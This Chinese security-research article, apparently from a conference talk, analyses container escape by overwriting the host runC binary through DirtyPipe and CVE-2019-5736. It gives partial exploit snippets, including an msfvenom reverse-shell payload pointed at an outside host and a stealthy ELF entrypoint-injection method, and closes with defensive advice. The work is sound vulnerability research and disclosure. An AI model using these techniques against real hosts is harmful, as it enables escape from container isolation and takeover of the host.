前言

上周末,绿盟科技星云实验室在KCon 2022大会上分享了云原生安全相关议题《进退维谷:runC的阿克琉斯之踵》,该议题探讨了DirtyPipe漏洞写runC逃逸的利用手法,分析了“写runC逃逸”的成因、常见场景与手法,最后提出了一种基于ELF文件注入的写runC逃逸方法。本文将为意犹未尽的朋友提供该议题的详细解读。

议题PPT下载:slides-and-papers/进退维谷:runC的阿克琉斯之踵.pdf

1. 从DirtyPipe说起

2022年3月7日,来自CM4all的软件工程师Max Kellermann对外公布了CVE-2022-0847 [1]——一个新的Linux内核漏洞,并将其命名为DirtyPipe。看到这个名称,大家一定会联想到大名鼎鼎的DirtyCoW [2](CVE-2016-5195 [3])。事实上,这两个漏洞在原理和效果上确有相似之处。该漏洞的发现历程曲折有趣,有如侦探故事一般。对此,Kellermann写了一篇博客[4]来介绍,推荐给感兴趣的同学阅读。

DirtyPipe漏洞的利用效果是允许普通用户对任意其具有“只读”权限的文件进行写入。这一效果最直接的应用场景是权限提升,在前述博客中,Kellermann提供了一个PoC,利用该PoC可以实现对/etc/passwd等敏感文件的修改,从而提升权限到root。

然而,在该漏洞曝光后,笔者更关注的是能否利用它实现容器逃逸。众所周知,容器与宿主机共享内核,从研究角度来看,对于每一个Linux内核漏洞,我们都应该去考察它在容器环境下的适用性。由于Linux内核漏洞的原理、利用条件和利用效果不尽相同,对于它们衍生的逃逸能力不能一概而论,需要结合容器场景进行分析。对于这一话题,星云实验室曾在《The Route to Host:从内核提权到容器逃逸》[5]一文中进行了深入讨论。

就DirtyPipe漏洞而言,它的利用效果让笔者想到了CVE-2019-5736 [6],后者的利用思路是在容器内修改宿主机上的runC程序实现逃逸。关于CVE-2019-5736,星云实验室曾在《容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析》[7]一文中进行了深入探讨。

在DirtyPipe漏洞被公布的第二天,来自Palo Alto Networks的安全研究员Yuval Avrahami在推特上发布了一张命令行截图[8],证实了可以在容器内利用DirtyPipe漏洞修改宿主机上的某个文件,换句话说,实现了容器逃逸。从这张截图来看,应该是对宿主机上某个可执行程序进行了修改。通常情况下,在容器的整个生命周期里,宿主机与容器共享的可执行程序屈指可数,这一点让人很容易想到runC。为了验证这一想法,笔者进行了实验,并成功利用DirtyPipe漏洞修改宿主机上的runC程序实现了容器逃逸,获得宿主机上的反弹shell。

虽然实现了逃逸,笔者对DirtyPipe的效果还是感到惊奇。毕竟,经CVE-2019-5736一役,runC应该已经采用了内存匿名文件的方式在容器内执行[7],那么即使DirtyPipe能够生效,被修改的也应该是内存中的“替身”才对。对此,笔者与来自蚂蚁集团的李强师傅进行了探讨,猜测这可能与Linux的“写时复制”机制有关。交流过后,李强师傅对runC源码进行了深入挖掘,最终证实笔者的猜想是错误的[9],写runC逃逸的成功另有缘由。

逃逸成功后,笔者发现一个问题——无论是CVE-2019-5736还是DirtyPipe,逃逸操作都会导致原runC程序的执行逻辑被破坏。这意味着,在多用户或多租户环境下,与攻击者同一时刻使用runC的其他用户或集群管理程序将发现异常。有没有更为优雅的利用手法呢?

经过调研和实验,笔者渐渐对这一由DirtyPipe引出的、关于CVE-2019-5736和runC逃逸的问题有了更完整的认识和思考,同时实现了一种更优雅的写runC逃逸的漏洞利用手法。故成此文,希望对这些有意思的问题进行讨论。后文的组织结构如下:

  • 首先回顾CVE-2019-5736漏洞,简单介绍与之相关的CVE-2016-9962漏洞和WhoC信息收集技术,重点考察CVE-2019-5736修复方案存在的问题。我们将发现在这个问题上,runC处于一个进退维谷的境地。
  • 然后,我们将介绍常见的通过写runC进行逃逸的利用场景和和利用手法。其中,利用场景是普适的,并非仅限于写runC逃逸这个技术;利用手法则是对写runC的方式进行了总结。
  • 接着,我们将介绍一种基于ELF文件注入的写runC逃逸方法。该方法的优势在于不影响原runC程序的执行逻辑。
  • 最后,我们从防守者的角度提出一些建议。

铺垫至此,正文开始。

2. 名噪一时的CVE-2019-5736

关注容器和云原生安全的朋友对CVE-2019-5736漏洞应该不会陌生。该漏洞由波兰CTF战队Dragon Sector于2018年的35C3 CTF比赛后发现[10]。该比赛中有一道基于Linux Namespaces的沙盒逃逸题目,Dragon Sector发现该题目所设沙盒在原理上与docker exec命令所依赖的runC十分相似,遂基于解题经验对runC进行漏洞挖掘,进而发现CVE-2019-5736漏洞。

弄清楚CVE-2019-5736漏洞的前前后后对于理解本文主题十分重要。接下来,我们将首先简单回顾CVE-2019-5736漏洞的原理,接着介绍与之相关的CVE-2016-9962漏洞和受CVE-2019-5736启发的WhoC信息收集技术,最后介绍CVE-2019-5736修复方案存在的问题。

2.1 关于CVE-2019-5736的简单介绍

以下内容来自星云实验室之前的《容器逃逸成真:从CTF解题到CVE-2019-5736漏洞挖掘分析》[7],经过修改和整理,方便大家理解CVE-2019-5736漏洞原理:

我们在执行功能类似于docker exec的命令(其他的如docker run等,不再讨论)时,底层实际上是容器运行时在操作,例如runC,相应地,runc exec命令会被执行。它的最终效果是在容器内部执行用户指定的程序。进一步讲,就是在容器的各种命名空间内,受到各种限制(如Cgroups)的情况下,启动一个进程。除此以外,这个操作与宿主机上执行一个程序并无二致。

执行过程大体如下:runC启动,加入到容器的命名空间,接着以自身/proc/self/exe为范本启动一个子进程,最后执行用户指定的二进制程序。

/proc/[PID]/exe是一类特殊的符号链接,又称作Magic Links。它的特殊之处在于,如果尝试打开这个文件,在权限检查通过的情况下,内核将直接返回一个指向目标文件的描述符(file descriptor),而非按照传统的打开方式去对符号链接做路径解析和文件查找。这样一来,它实际上绕过了mnt命名空间及chroot对一个进程能够访问到的文件路径的限制。

设想这样一种情况:在runc exec加入到容器的命名空间之后,容器内进程已经能够在内部/proc目录观察到它,此时如果打开/proc/[runc-PID]/exe并写入一些内容,就能够实现将宿主机上的runC二进制程序覆盖掉。这样一来,下一次调用runC去执行命令时,实际执行的将是攻击者放置的指令。

漏洞原理及利用思路如图1所示:

图1 - CVE-2019-5736漏洞原理及利用过程

其中,runc init是runC在容器内部的初始化进程。在初始化工作完成后,它将负责执行用户在docker exec命令中指定的具体命令。细心的读者可能注意到,上述利用思路并未直接去修改runc init进程的/proc/[runc-PID]/exe,而是等待其执行execve系统调用后才去修改。一方面,这是因为从runC在容器内初始化到执行execve的时间非常短,很难把握时机;另一个原因则是我们接下来要介绍的CVE-2016-9962漏洞的补丁限制了这样操作。

下一节的标题是“‘承前’与‘启后’”,“承前”指的就是在CVE-2019-5736漏洞之前的CVE-2016-9962漏洞,“启后”则指的是受CVE-2019-5736漏洞启发的WhoC信息收集技术。我们将为大家一一分解。

2.2 “承前”与“启后”

承前:CVE-2016-9962

2016年11月29日,Alexander Bergmann报告了一个runC的容器逃逸漏洞,CVE编号为CVE-2016-9962 [11]。在前文铺垫的基础上,理解该漏洞的原理十分简单:容器内的攻击者能够通过利用runc init进程打开的宿主机文件描述符访问到宿主机文件系统,实现容器逃逸。如前所述,从runc init开始执行到execve的执行之间的时间非常短,成功捕捉到机会来利用漏洞比较困难。为了直观展示漏洞效果,runC维护者Aleksa Sarai在测试时向runc init代码中添加了延时逻辑,复现效果如下[11]:

shell1% runc run ctr
shell2% runc exec ctr sh
[ this will block for 500 seconds ]
shell1[ctr]# ps aux
PID   USER     TIME   COMMAND
     1 root       0:00 sh
    18 root       0:00 {runc:[2:INIT]} /proc/self/exe init
    24 root       0:00 ps aux
shell1[ctr]# ls /proc/18/fd -la
total 0
# 省略...
lr-x------    1 root     root            64 Nov 28 14:29 4 -> /run/runc/test
# 省略...
shell1[ctr]# ls -la /proc/18/fd/4/../../..
total 0
# 省略...
drwxr-xr-x    1 root     root          1872 Nov 25 09:22 bin
drwxr-xr-x    1 root     root           552 Nov 25 09:46 boot
drwxr-xr-x   21 root     root          4240 Nov 27 22:09 dev
drwxr-xr-x    1 root     root          4958 Nov 28 14:28 etc
drwxr-xr-x    1 root     root            12 Jun 15 12:20 home
# 省略...

我们看到,容器内攻击者对runc init进程打开的文件描述符直接利用相对路径..访问到了宿主机文件系统。

针对CVE-2016-9962的修复方案是将runc init进程设置为non-dumpable [12]。这样一来,其他进程就不能再对runc init进程的相关符号链接进行“解引用”,也就无法逃逸了。修复后的runC执行效果如下,可以看到,容器内的攻击者在查看runc init进程打开的文件描述符时,已经无法看到指向宿主机文件的文件描述符了:

shell1% runc run ctr
shell2% runc exec ctr ls
[ this will block for 500 seconds ]
shell1[ctr]# ps aux
PID   USER     TIME   COMMAND
     1 root       0:00 sh
     7 root       0:00 {runc:[2:INIT]} /proc/self/exe init
    13 root       0:00 ps aux
shell1[ctr]# ls -la /proc/7/fd
total 0
dr-x------    2 root     root             0 Nov 28 14:29 .
dr-xr-xr-x    9 root     root             0 Nov 28 14:29 ..
lrwx------    1 root     root            64 Nov 28 14:29 0 -> /dev/pts/8
lrwx------    1 root     root            64 Nov 28 14:29 1 -> /dev/pts/8
lrwx------    1 root     root            64 Nov 28 14:29 2 -> /dev/pts/8
lrwx------    1 root     root            64 Nov 28 14:29 3 ->
socket:[2114856]
lrwx------    1 root     root            64 Nov 28 14:29 4 -> /dev/pts/8
l-wx------    1 root     root            64 Nov 28 14:29 5 -> /dev/null

CVE-2016-9962漏洞的补丁同样使得攻击者无法通过在runc init阶段修改宿主机上的runC来实现容器逃逸。然而,在runc init执行execve重新执行/proc/self/exe(自身)后,non-dumpable的属性被去掉,从这里开始,容器内的攻击者便可以利用/proc/[runc-PID]/exe来修改宿主机上的runC了,这就是CVE-2019-5736。

启后:WhoC信息收集技术

CVE-2019-5736漏洞修复后,攻击者无法修改宿主机上的runC了。然而,研究人员发现虽然不能写入,但是能读取/proc/[runc-PID]/exe的内容,并基于这一特性开发了名为WhoC的工具[13],我们也曾对WhoC进行了分析[14],感兴趣的朋友可以深入了解其实现细节,本文不再展开介绍。WhoC有两种使用场景,分别对应不同的启动模式,如图2所示:

图2 - WhoC的使用场景和原理

读取runC有什么用呢?其用途主要体现在“信息收集”上。试想,假如攻击者拿到了目标环境的runC,就能够知道它的版本,进而了解该runC是否存在已知漏洞。这样做的好处是能够“对症下药”,且避免对没有已知漏洞的runC进行攻击,降低暴露风险。另外,如果目标环境使用了自行编译构建的runC,加入了新的功能和逻辑,攻击者还可能借助Fuzz、逆向工程等手段发现新的漏洞。

2.3 安全与成本的博弈

前面我们了解到,CVE-2019-5736在技术上并不是孤立的,其前后有很多可以拓展延伸的内容。那么,CVE-2019-5736漏洞到底是如何修复的呢?为什么修复过后,还是能够通过利用DirtyPipe漏洞写宿主机runC实现逃逸呢?本节将回答这两个问题。针对后一个问题,蚂蚁集团的李强师傅进行了深入调研,本节同样参考了他的博客[9]。他在博文的最后写道:纸上得来终觉浅,绝知此事要躬行。这种打破沙锅问到底的探索精神和好奇心是安全研究向前发展的不竭动力。

runC的修复历程是曲折的。Aleksa Sarai于2019年2月8日提交了第一版修复方案[15]。该方案的原理是利用memfd_create在内存中创建一个宿主机runC的复制体,加入容器内执行的是该内存文件,而不是真正的宿主机runC。这样一来,在最坏情况下容器内攻击者也仅仅能够修改内存中的runC复制体,而无法触碰到宿主机上的runC程序文件。实际上,该补丁方案还对该内存复制体进行了封印,正常操作无法修改其内容[15]:

#define RUNC_MEMFD_SEALS (F_SEAL_SEAL | F_SEAL_SHRINK | F_SEAL_GROW | F_SEAL_WRITE)
// ...
int err = fcntl(memfd, F_ADD_SEALS, RUNC_MEMFD_SEALS);

从方案原理和李强师傅的测试结果来看[9],该方案能够有效缓解利用DirtyPipe漏洞写runC逃逸的攻击。然而,提交后不久,该方案就受到了来自社区的广泛抱怨和质疑[17],其中部分如图三所示。总结下来,社区认为该方案的主要问题有两个:

  1. 内存消耗:每一次创建容器或对容器执行命令都需要在内存中创建runC的复制体,这对资源相对不足的服务器造成了较大的额外开销。
  2. 版本限制:部分低版本的Linux内核并不支持补丁方案依赖的memfd_create系统调用。

图3 - 社区对第一个修复方案的反馈声音

因此,Aleksa Sarai于2019年3月1日提交了第二版修复方案[18]。该方案的原理是将runC的/proc/self/exe(即它自身)以只读形式挂载到一个临时挂载点上,打开该挂载点并返回文件描述符fd,接着以MNT_DETACH方式解除挂载,之后在容器内执行时使用该文件描述符执行runC。根据Linux用户手册[19],MNT_DETACH参数意味着未来该挂载点无法重新挂载,这就杜绝了攻击者以读写方式重新挂载并修改宿主机runC的可能性:

MNT_DETACH (since Linux 2.4.11)
Perform a lazy unmount: make the mount unavailable for new accesses, immediately disconnect the filesystem and all filesystems mounted below it from each other and from the mount table, and actually perform the unmount when the mount ceases to be busy.

方案二对于用户空间尝试修改runC的行为是有效的,然而,由于容器内/proc/self/exe依然指向宿主机上的runC程序,且内核漏洞DirtyPipe并未受到前述只读挂载的限制,容器内攻击者就可以利用DirtyPipe修改宿主机runC,实现容器逃逸。

另外,我们注意到,方案一的提交时间是2月8日,方案二的提交时间是3月1日,而GitHub上修复漏洞的runC版本是v1.0.0-rc7,发布时间为3月29日[16],这意味着方案一的补丁内容从未在runC GitHub仓库上正式发布过。截至本文成稿时,runC最新版本的逻辑是先尝试方案二,如果失败则执行方案一[20]。

分析至此,大家已经明白DirtyPipe写runC逃逸成功的原因,也大概可以理解本文标题的用意:某种程度上,runC处于一个进退维谷的境地。方案二资源消耗少,但无法应对内核漏洞利用的情况;方案一更加安全,但存在着内存消耗和低版本兼容性问题。方案一与方案二之争,是安全与成本的博弈。

事实上,我们也可以说runC采用方案二是无可厚非的。计算机科学的核心方法之一就是通过层次化来降低复杂度:下层按照一定协议规范向上层提供服务,上层功能的实现依赖于下层服务。从这个角度来看,利用内核漏洞攻击成功并不能说明runC修复方案二是无效的,因为runC的修复方案本就不是、也无法有效地针对内核漏洞。

关于runC修复方案的讨论就到此为止。孰是孰非,见仁见智,没有最好的方案,只有更好的方案。接下来,我们来研究一下具体的利用场景和手法。

3. 常见的利用场景和利用手法

本节,我们将为大家介绍写runC逃逸技术的常见利用场景和利用手法。利用场景指的是攻击可能会以哪些形式进行;利用手法指的是为了实现逃逸,有哪些可以写入runC的有效载荷。

3.1 常见的两种利用场景

针对容器环境的常见攻击有两种:

  1. 入侵业务容器。攻击者利用容器化业务的漏洞入侵业务容器后,获得在容器内命令执行能力,进而利用这种能力进行容器逃逸、权限提升和横向移动等后渗透操作。
  2. 依托镜像发起攻击。攻击者并不直接入侵目标环境,而是通过污染软件供应链、部署恶意镜像等方式向目标环境植入恶意容器,获得容器内命令执行能力,进而利用这种能力进行容器逃逸、权限提升和横向移动等后渗透操作。

就“写runC逃逸”技术而言,这两种场景的具体细节如图4所示:

图4 - 常见的两种利用场景

为了能够修改runC,攻击者必须能够在runC加入到容器内部PID命名空间后捕获到它。在“入侵业务容器”的场景中,这一点很好实现,攻击者只需要监控/proc目录下是否有runC进程即可;在“依托镜像”的场景中,修改runC的代码必须在runC运行期间执行,否则一旦容器创建完成,runC已经退出,就无法捕获了。因此,这个场景依赖动态链接库注入技术,且前提是runC是动态链接、而非静态编译的。攻击者将恶意代码做成runC需要加载的动态链接库,放置在镜像中,runC运行时将这些恶意代码将被加载,从而实现修改runC的目的。

3.2 常见的三种利用手法

前面分析了利用场景,接下来我们看看利用手法有哪些。其实无论向runC中写入任何内容都能导致宿主机上runC文件的改变,对宿主机环境产生影响,理论上也算做容器逃逸。然而,我们希望实现的当然是对宿主机的控制,而非破坏,因此写入的载荷内容至关重要。从这个角度来看,写runC逃逸的手法具体有三种:

手法一:写入Shell脚本

这是最简单直观的一种方式。网上流传的大多数CVE-2019-5736漏洞利用程序都是将宿主机runC修改为一个Bash脚本,如Frichetten公布的PoC [21]。脚本的优势在于能够轻松实现复杂的控制逻辑。下面是写入脚本的代码示例:

var payload = "#!/bin/bash \n" + shellCmd
for {
    writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)
    if int(writeHandle.Fd()) > 0 {
        writeHandle.Write([]byte(payload))

然而,并不是所有能够用来写runC逃逸的漏洞都支持写入Shell脚本。例如,DirtyPipe的漏洞原理导致无法利用该漏洞修改runC文件的第一个字节。runC是一个ELF程序,它的第一个字节是0x7f,与Shell脚本的第一个字节#不同,即使我们利用DirtyPipe把runC的剩下部分修改为了Shell脚本,第一个字节将导致脚本解析失败,无法正确执行。

手法二:写入完整的ELF文件

前面提到,runC是一个ELF文件,那么将其修改为另一个ELF文件当然是可行的。由于不同ELF文件的第一个字节都是0x7f,即使在DirtyPipe场景下不能修改第一个字节也没有问题,我们只需要把剩下部分修改掉即可。下面是写入ELF文件的代码示例:

// msfvenom -a x86 -p linux/x86/exec CMD="id > /tmp/hacked && hostname >> /tmp/hacked" -f elf
const unsigned char malicious_elf_bytes[] = {
    /* 0x7f, */ 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
    /* ELF剩余部分 */
};
int main(int argc, char **argv) {
    if (write_with_dirtypipe(path, 1, malicious_elf_bytes, malicious_elf_bytes_size) != 0) {

手法三:ELF文件注入

既然runC是ELF文件格式,我们也可以选择不写入完整的文件,而是将攻击载荷注入到原ELF文件中,实现原文件控制流的劫持。下面是进行ELF文件注入的代码示例,该示例将载荷注入到了原ELF文件程序入口地址(Entrypoint,下文简称EP)的位置:

runc_fd_read = open("/proc/self/exe", O_RDONLY);
lseek(runc_fd_read, ELF_ENTRYPOINT_OFFSET, SEEK_SET);
nbytes = read(runc_fd_read, &entrypoint, sizeof(entrypoint));
// msfvenom -p linux/x64/shell_reverse_tcp LHOST=1.1.1.1 LPORT=4444 -f raw | xxd -i
char payload[] = {
    0x6a, 0x29, 0x58, 0x99, 0x6a, 0x02, 0x5f, 0x6a, 0x01, 0x5e, 0x0f, 0x05,
    /* payload剩余部分 */
};
write_with_dirtypipe(runc_fd_read, entrypoint, payload, payload_len);

在DirtyPipe场景下应用后两种手法时还需要注意,由于DirtyPipe不能用来增大文件(漏洞原理限制),因此不能写入比原文件更大的ELF文件,也不能以在原ELF文件末尾新增节(section,ELF文件结构)的方式进行ELF文件注入。

4. 一种更优雅的利用手法

我们在上一节介绍了写runC逃逸的三种利用手法,无论是写入Shell脚本、写入ELF文件还是简单地向原ELF文件入口地址处注入代码,虽然都能实现劫持控制流的目的,但都会导致原runC程序的代码逻辑不可用。同时,像DirtyPipe这样的漏洞本身又带来了一些局限性。

有没有一种更优雅的利用手法呢?具体而言,我们希望这种手法能够:

  1. 在宿主机上运行给定载荷,这是基本需求。
  2. 不影响原runC程序的代码逻辑,从而避免影响同一时间的其他使用者。
  3. 不增大原runC文件,从而在DirtyPipe等受限漏洞环境下使用。

经过研究,我们实现了一种改进的ELF文件注入手法来满足以上需求。

4.1 关于ELF文件和ELF文件注入的简单介绍

ELF文件格式

ELF是Unix和类Unix环境下可执行文件和共享库的主要文件格式[22]。一个ELF文件由一个ELF头(ELF Header)、若干程序头表(Program Header Table)、若干节头表(Section Header)和若干节组成。Tool Interface Standard (TIS) Executable and Linking Format (ELF) Specification [23]是ELF标准,规定了ELF文件数据结构及各字段含义,笔者曾将其翻译为中文版[24],供参考。

其中,ELF头是非常重要的数据结构,它记录了整个ELF文件的元信息。我们可以使用Linux系统中的readelf文件来解析ELF数据结构。下面是笔者测试环境下的runC程序的ELF头信息:

➜  ~ readelf -h `which runc`
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              DYN (Shared object file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x2327e0
  Start of program headers:          64 (bytes into file)
  Start of section headers:          11442192 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         12
  Size of section headers:           64 (bytes)
  Number of section headers:         33
  Section header string table index: 32

上述信息表明,该runC是一个运行于x86-64架构的程序,程序入口地址为0x2327e0,它有12个程序头和33个节头。受篇幅所限,本文不再展开介绍ELF文件格式,感兴趣的读者可以阅读相关标准[24]。

ELF文件注入

ELF文件注入指的是通过修改ELF文件或新增数据,达到劫持控制流或篡改关键数据结构等目的。广义上来说,修改关键指令、全局变量等简单的破解手法也属于ELF文件注入;狭义上来说,为了与前述简单破解手法相区分,ELF文件注入有时特指向ELF文件中注入一段可以被加载、运行的机器指令载荷,本文所讲的ELF文件注入就是这个概念。另外,本文所讲的ELF文件注入均指的是在不运行程序的情况下修改文件的静态注入,而非在程序运行起来后修改进程的动态注入。

理论上来说,注入的位置非常灵活,注入的内容也十分多样,只要能够达到预期目的即可。例如,如果目的是使目标程序(如runC)无法使用,注入的内容可以是任意的——只要破坏原程序结构和逻辑即可。然而,一般情况下我们希望将带有特定目的的载荷注入到程序中,注入的内容、位置需要根据实际情况加以考虑。图5是ELF文件注入的概念图,图中右侧标红的地方是常见的注入位置:

图5 - ELF文件注入示意图

至此,大家应该对ELF文件注入技术有了基本了解。实际环境中的ELF文件注入往往受到载荷内容(如有的场景下0x00作为截断字符无法注入)、载荷长度(如果载荷过长,可能无法插入到原文件内,需要追加到原文件后)、被注入目标文件的类型(静态编译还是动态链接,是否启用了PIE,系统是否启用了ASLR等)等因素的影响。后面我们在设计针对“写runC逃逸”场景的注入方案时也会遇到这些问题。

4.2 ELF文件注入的两种思路

综合前文所述,本文希望向runC ELF文件中注入一段在runC启动后能够被执行的机器指令载荷,从而实现容器逃逸,并且不影响原runC的代码逻辑,同时不增大原runC文件。面对这些需求,注入思路有两个,如图6所示:

图6 - ELF文件注入的两种思路

无论是哪个思路,首要的是将载荷注入到ELF文件中。两个思路的不同体现在:

  1. 思路一将修改原ELF文件的EP,将其改为载荷所在位置,runC启动后先执行载荷,载荷执行完后跳转到原ELF文件的入口地址(Original Entrypoint,下文简称OEP)执行。
  2. 思路二并不修改原ELF文件的入口地址,而是修改runC中的控制流改变点(如jmpcall等指令),从runC代码逻辑中间转向执行载荷,载荷执行完后跳转到原控制流改变点处继续执行。

综合考虑复杂度、兼容性等问题,我们选择实现思路一。

4.3 一种可行的注入方案

梳理漏洞分析和动手实践的结果,我们发现:

  1. runC默认开启了PIE编译选项[25],且现代Linux系统通常开启“地址空间布局随机化(ASLR)” [26]漏洞缓解措施。这意味着runC自身代码段每次加载到内存的地址都是随机的。
  2. DirtyPipe无法用于增大文件。因此,在runC文件尾部追加载荷的方式不适用。

结合思路一,这些发现进一步演绎成两个更直接的问题:

问题一:修改EP后,如何顺利完成控制流从载荷到OEP的转移?

由于PIE和ASLR的存在,runC加载到内存后的实际入口地址是随机变化的。因此,在ELF文件注入阶段并不能获知程序启动后的实际OEP。按照思路一,我们能够将EP修改为指向载荷,但是又如何在执行完载荷后回到OEP去执行runC剩下的流程?

解决方案有三个:

  1. 借助ELF文件注入手段,先将runC修改为非PIE版本。然而,这种方法复杂度较高,不易实现。
  2. 注入的载荷执行时在内存中按照机器码特征搜索runC的OEP,然后跳转执行。这种方法复杂度同样比较高,而且会导致载荷长度大大增加,不利于注入。
  3. 利用载荷自身内存地址和文件偏移量计算出程序加载基址,进而利用载荷与文件OEP之间的偏移量计算出OEP在内存的实际地址。

方案三复杂度低,且不会导致载荷过长,我们决定采用这个解决方案。最终,载荷的逻辑流程如图7所示:

图7 - 方案三的载荷逻辑流程

我们将这样的载荷注入到ELF文件中,然后将EP修改为载荷的起始地址。载荷执行后将创建一个子进程去实现在宿主机上执行命令的逻辑(如反弹shell);父进程则按照前述解决方案三转到OEP执行runC剩下的代码逻辑。按照这个方案生成的载荷总长度为157字节。

问题二:在哪里放置载荷?

为了不破坏runC程序自身必要的功能和数据结构,我们可以将载荷放在那些对于程序运行来说非必要的、提供附加信息的节,如.note.API-tag节。另外,runC是一个Go语言编写的ELF程序,因此它带有Go语言编译时添加的元信息,这些信息对于程序运行来说也是不必要的。综合来看,图8中用红色标出的三个节可以用来写入载荷:

图8 - 可以用来写入载荷的节

从上图可以看出,这些节是连续的,一共能提供168字节空间,大于载荷长度157字节。因此,将载荷写入这些节是可行的。

然而,在后续的实验中,我们发现了一个新的问题:上述这种能够提供168字节空间的runC是安装Docker时自动下载的动态链接版本,如果从runC GitHub官方仓库直接下载,我们得到的则是静态编译的版本。而这类静态编译版本的runC只能提供68字节,不足以放下整个载荷。测试发现,在这种情况下,载荷溢出覆盖到后面的数据结构将导致runC运行崩溃。

怎么解决这个问题呢?经过进一步研究,我们发现静态编译版本的runC中有.go.buildinfo.noptrdata两个相邻的节,如图9所示。前者看起来是非必要的元信息节,但是只有32字节;后者则主要用来保存Go语言程序初始化的全局变量等数据,同时还有别的用途,尚未见到有文献完整地描述.noptrdata的全部用途。

图9 - .go.buildinfo.noptrdata节的相关信息

我们发现,.noptrdata节开头部分是一系列HTML标签,如图10所示紫色部分所示,而HTML本身作为一类文本标记语言,是人类可读的。因此,我们猜测这部分对于runC的正常运行可能并不是那么重要。

图10 - .go.buildinfo.noptrdata节的具体数据

实验结果证明我们的判断是正确的:将载荷从.go.buildinfo开始写入,占用.noptrdata的前125字节并不影响静态编译版本的runC的正常运行。

All in One:效果测试

解决了所有问题,我们将以上方案编码实现,并在Metarget搭建的DirtyPipe漏洞环境中测试。我们将分别构建“在容器内写runC逃逸”和“部署镜像写runC逃逸”两个实验,分别对应3.1小节提到的两类常见场景。

实验一:在容器内写runC逃逸

如图11所示,我们首先在容器中执行DirtyPipe漏洞利用程序,然后开启反弹shell监听,最后对所在容器执行docker exec触发漏洞利用程序,我们成功收到来自宿主机的反弹shell,逃逸成功。

图11 - 在容器内写runC逃逸的过程

从图中右下方可以看到,在执行docker exec后,依然会收到runC的报错信息,这个是无法避免的。然而,runC本身的代码逻辑并未影响,在漏洞利用后,依然能够正常使用Docker驱动runC去创建新容器。

实验二:部署镜像写runC逃逸

如图12所示,攻击者构建一个DirtyPipe漏洞利用镜像,开启反弹shell监听,然后在实验环境部署该镜像。镜像内漏洞利用程序执行成功后,我们成功收到来自宿主机的反弹shell,逃逸成功。

图12 - 部署镜像写runC逃逸的过程

可以看到,实验二无需交互,也没有任何地方出现报错信息,runC本身的代码逻辑并未影响,在漏洞利用后,依然能够正常使用Docker驱动runC去创建新容器。

5. 总结与思考

本文主要探讨了DirtyPipe漏洞写runC逃逸的利用手法。为了将这一手法分析清楚,我们用了许多笔墨:

  1. 首先为大家介绍了DirtyPipe漏洞,引出“DirtyPipe导致容器逃逸”的话题;
  2. 接着介绍了CVE-2019-5736漏洞,以及与之相关的CVE-2016-9962漏洞和WhoC信息收集技术,并着重探讨了CVE-2019-5736的修复方案存在的问题;
  3. 然后,我们对写runC逃逸的两种常见利用场景和三种常见利用手法进行了总结,指出了这些手法的不足之处;
  4. 最后,我们提出了一种基于ELF文件注入的改进的写runC逃逸利用手法,提出了两种利用思路,给出了一种可行的注入方案,并打通了整个利用链条,成功展示了在两个不同的利用场景下的利用过程。

本文想要表达的是,由于CVE-2019-5736漏洞的修复方案是安全与成本的博弈,至今存在一定局限性,“写runC”这个手法可以适配不同的前置条件来实现容器逃逸,例如:

  1. CVE-2019-5736等一众容器、云原生程序漏洞。
  2. DirtyPipe、CVE-2022-0185等一众内核漏洞。
  3. 其他导致可以绕过用户空间只读挂载限制的高权限或错误配置等情况。

因此,写runC完全可以作为一个通用手法与其他前置技术搭配使用。

对于防守端同学来说,前文提到的两种利用场景是一个很好的切入点。如图13所示,两种场景分别涉及到DevOps流程中的开发、依赖解决和运行三个方面。

图13 - 两种利用场景涉及的不同方面

这三个方面分别对应的开发安全、软件供应链安全和运行时安全是云原生安全非常重要的组成部分。从这三个方面着手构建体系化防御,将从多阶段有效遏制云原生环境攻击。

最后,就本文涉及的写runC逃逸技术而言,我们向防守侧同学提出如下建议:

  1. 尽力确保云原生基础设施的更新升级。面对业务方的压力,Kubernetes、容器运行时和Linux内核等底层基础设施的升级有时确有困难,但是升级和打补丁确实是面对已知漏洞最根本的手段。
  2. 采用镜像扫描和镜像白名单机制。避免威胁借助软件供应链传播。
  3. 尽量以rootless模式运行容器。这样一来,很多漏洞利用将因为权限不足而无法进行。
  4. 监控、阻止修改宿主机runC的行为。
  5. 采用云原生环境运行时检测机制。假设预防和缓解失效,及早发现威胁才能降低损失。

参考文献

  1. https://nvd.nist.gov/vuln/detail/CVE-2022-0847
  2. https://dirtycow.ninja
  3. https://nvd.nist.gov/vuln/detail/CVE-2016-5195
  4. https://dirtypipe.cm4all.com
  5. https://mp.weixin.qq.com/s/63xLUPsz2ozHlZOb6emzPA
  6. https://nvd.nist.gov/vuln/detail/CVE-2019-5736
  7. https://mp.weixin.qq.com/s/UZ7VdGSUGSvoo-6GVl53qg
  8. https://twitter.com/yuvalavra/status/1500978532494843912
  9. https://terenceli.github.io/技术/2022/03/19/container-escape-through-dirtypipe
  10. https://blog.dragonsector.pl/2019/02/cve-2019-5736-escape-from-docker-and.html
  11. https://bugzilla.suse.com/show_bug.cgi?id=1012568
  12. https://github.com/opencontainers/runc/commit/50a19c6ff828c58e5dab13830bd3dacde268afe5
  13. https://github.com/twistlock/whoc
  14. https://mp.weixin.qq.com/s/kY4GAoTW99NbJa4dgnPuzg
  15. https://github.com/opencontainers/runc/commit/0a8e4117e7f715d5fbeef398405813ce8e88558b
  16. https://github.com/opencontainers/runc/releases/tag/v1.0.0-rc7
  17. https://github.com/opencontainers/runc/issues?q=cve-2019-5736
  18. https://github.com/opencontainers/runc/commit/16612d74de5f84977e50a9c8ead7f0e9e13b8628
  19. https://man7.org/linux/man-pages/man2/umount.2.html
  20. https://github.com/opencontainers/runc/blob/main/libcontainer/nsenter/cloned_binary.c
  21. https://github.com/Frichetten/CVE-2019-5736-PoC
  22. http://zh.wiki.hancel.org/zh-cn/可执行与可链接格式
